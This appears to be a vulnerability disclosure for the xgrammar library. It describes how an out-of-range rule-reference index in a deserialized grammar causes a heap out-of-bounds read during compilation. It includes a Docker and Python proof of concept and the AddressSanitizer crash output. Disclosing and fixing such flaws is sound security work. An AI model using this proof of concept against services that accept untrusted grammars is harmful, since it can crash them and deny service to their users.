Out-of-Bounds Read Through Deserialized Grammar Rule References

Affected repository: mlc-ai/xgrammar
Observed HEAD: f07ca3cb03affaca98809c4e9dad41deed2f7730

Summary

At the assessed untagged revision f07ca3c, Grammar::DeserializeJSON accepts a kRuleRef operand that does not identify an existing rule. A caller that can supply a serialized grammar can change one integer in an otherwise valid document and then pass the result to GrammarCompiler::CompileGrammar. The optimizer uses that integer as an unchecked index into a rule-sized vector. In the reproduced two-rule case, AddressSanitizer reports a one-byte heap-buffer-overflow read and terminates the Python process. This establishes a memory-safety and availability failure; it does not by itself establish controlled data disclosure or code execution.

Detail

The grammar AST is serialized as two parallel arrays in cpp/grammar_impl.h: grammar_expr_indptr_ gives the start of each expression record in grammar_expr_data_, and each record is encoded as [type, payload_length, payload...]. GrammarExprType::kRuleRef has numeric value 4 at the assessed revision and its one-word payload is a rule_id. A valid reference therefore has to satisfy 0 <= rule_id < rules_.size().

Grammar::DeserializeJSON in cpp/grammar.cc delegates to the reflection-based AutoDeserializeJSON. That layer validates JSON shape and C++ field types, but it only reconstructs rules_, grammar_expr_data_, and grammar_expr_indptr_; it does not re-establish the cross-field rule-reference invariant. The public Python Grammar.deserialize_json binding consequently returns a non-null Grammar containing the caller-selected integer. The same trust-boundary issue exists when a grammar is nested in CompiledGrammar: at this revision cpp/compiled_grammar.cc also discards the error returned while deserializing its grammar field.

Compilation copies the malformed grammar and runs GrammarOptimizer. RuleInlinerImpl::Prepare sizes can_rule_be_inlined_ to NumRules(), which is two for the PoC. When VisitChoices encounters the mutated kRuleRef, it forwards payload value 2 to CanRuleBeInlined. The first operation in that function is the unchecked vector subscript shown below, so the read occurs before GetRule(rule_id) is reached:

bool CanRuleBeInlined(int32_t rule_id) {
  if (can_rule_be_inlined_[rule_id] != -1) {
    return can_rule_be_inlined_[rule_id] != 0;
  }
  const auto& rule = (*grammar_)->GetRule(rule_id);

There is a range assertion in Grammar::Impl::GetRule, but it is not a control for this sink: the vector access precedes it, and XGRAMMAR_DCHECK is disabled by the project's default XGRAMMAR_ENABLE_INTERNAL_CHECK=OFF configuration, including the reproduced build. The missing control belongs at deserialization, before any optimizer, printer, matcher, or compiler assumes that the private AST invariants hold.

The reflection-based grammar deserialization API first appears in release v0.1.20. The exact RuleInlinerImpl cache access used by this PoC was added later and is present, without rule-reference validation, in the inspected v0.2.6rc1 and v0.2.6rc2 snapshots. Runtime reproduction below was performed against revision f07ca3c; the tagged snapshots were source-inspected but not executed, so this report does not claim a fully tested affected-version range.

Reproduce

Fresh validation at current default-branch commit f07ca3cb03affaca98809c4e9dad41deed2f7730 reached the reported sink under AddressSanitizer.

The following command checks out the assessed revision and builds it with AddressSanitizer. I ran this PoC in a fresh Python 3.12 container and observed the report below. The container is disposable; the only mutated object is an in-memory serialization of the two-rule grammar.

docker run --rm -i python:3.12-slim-bookworm bash <<'DOCKER'
set -eux
export DEBIAN_FRONTEND=noninteractive CMAKE_BUILD_PARALLEL_LEVEL=2
apt-get update -qq
apt-get install -y -qq --no-install-recommends ca-certificates git cmake ninja-build g++
python -m pip install -q --index-url https://download.pytorch.org/whl/cpu torch
python -m pip install -q scikit-build-core apache-tvm-ffi pydantic transformers numpy typing-extensions
git clone --depth 1 --quiet https://github.com/mlc-ai/xgrammar.git xgrammar
cd xgrammar
git rev-parse HEAD
git submodule update --init --recursive --quiet
ASAN_OPTIONS=verify_asan_link_order=0:detect_leaks=0 \
CXXFLAGS='-D_GLIBCXX_NO_ASSERTIONS -fno-lto -fsanitize=address -fno-omit-frame-pointer -g' \
LDFLAGS='-fno-lto -fsanitize=address' \
  python -m pip install -q --config-settings=cmake.build-type=Debug --no-build-isolation --no-deps .
cat > repro.py <<'PY'
import json
import xgrammar as xgr

grammar = xgr.Grammar.from_ebnf('root ::= child\nchild ::= "a"')
obj = json.loads(grammar.serialize_json())
data = obj["grammar_expr_data"]
offset = next(
    offset
    for offset in obj["grammar_expr_indptr"]
    if offset + 2 < len(data) and data[offset] == 4
)
data[offset + 2] = 2
grammar = xgr.Grammar.deserialize_json(json.dumps(obj))
tokenizer = xgr.TokenizerInfo(["a"])
xgr.GrammarCompiler(tokenizer, max_threads=1, cache_enabled=False).compile_grammar(grammar)
PY
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0:symbolize=1:handle_segv=2:use_sigaltstack=0:disable_coredump=1 \
LD_PRELOAD="$(g++ -print-file-name=libasan.so)" \
python repro.py
DOCKER

=================================================================
==3001==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020001f0a52
READ of size 1 at 0x6020001f0a52 thread T0
    #0 ... in xgrammar::RuleInlinerImpl::CanRuleBeInlined(int)
    #1 ... in xgrammar::RuleInlinerImpl::VisitChoices(int)
    #2 ... in xgrammar::InPlaceGrammarRewriter::VisitExpr(int)
0x6020001f0a52 is located 0 bytes to the right of 2-byte region
[additional stack and allocation frames containing container-local paths omitted]
SUMMARY: AddressSanitizer: heap-buffer-overflow in xgrammar::RuleInlinerImpl::CanRuleBeInlined(int)
==3001==ABORTING

Credit

Zheng Yu @ Depthfirst